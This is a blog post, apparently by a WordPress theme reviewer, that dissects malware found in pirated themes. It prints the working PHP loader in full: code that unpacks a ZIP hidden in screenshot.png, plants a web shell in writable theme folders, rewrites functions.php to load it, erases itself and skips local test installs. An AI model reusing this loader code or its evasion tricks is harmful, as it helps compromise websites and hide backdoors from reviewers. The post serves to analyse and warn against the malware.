As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.
However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.
It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.
So today, I’m going to dissect it and serve it up on a platter for everybody to see.
Infection Point
We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:
function get_custom_headers() { $_SESSION['authenticated'] = false; $filename = dirname(__FILE__).DS."screenshot.png";
Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.
$fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename)); $screenshot = array_shift($fileContents);
The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.
In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.
$unzipped = false; $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);
The check_istalled_path function looks for a wp-additional directory and returns a path to it.
if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { if(function_exists("zip_read")) { $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT']))); @mkdir($path = $path.DS."wp-additional"); file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents)); $zip = new ZipArchive; if ($zip->open($path.DS."archive.zip")===true) { $zip->extractTo($path.DS); $zip->close(); unlink($path.DS."archive.zip"); $unzipped = true; } @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); }
If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.
Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.
So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.
But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:
} else { if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { $path = $_SERVER['DOCUMENT_ROOT'].DS.$path; @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); } }
It found the malware, so it simply rewrites itself to make sure it includes it.
The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.
Next we have self-eliminating code:
@file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__)))); @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);
What does this code do? Well, it erases itself from the file!
This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.
Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.
Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.
if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { @require_once($path.DS."wshell.php"); } }
This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.
Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.
The Malware
So what is this malware? Well, there’s two parts to it.
The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.
The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.
The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.
The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.
The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.
Essentially, it’s a remote-controlled automated link spamming tool.
The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.
Summary
In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.
Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.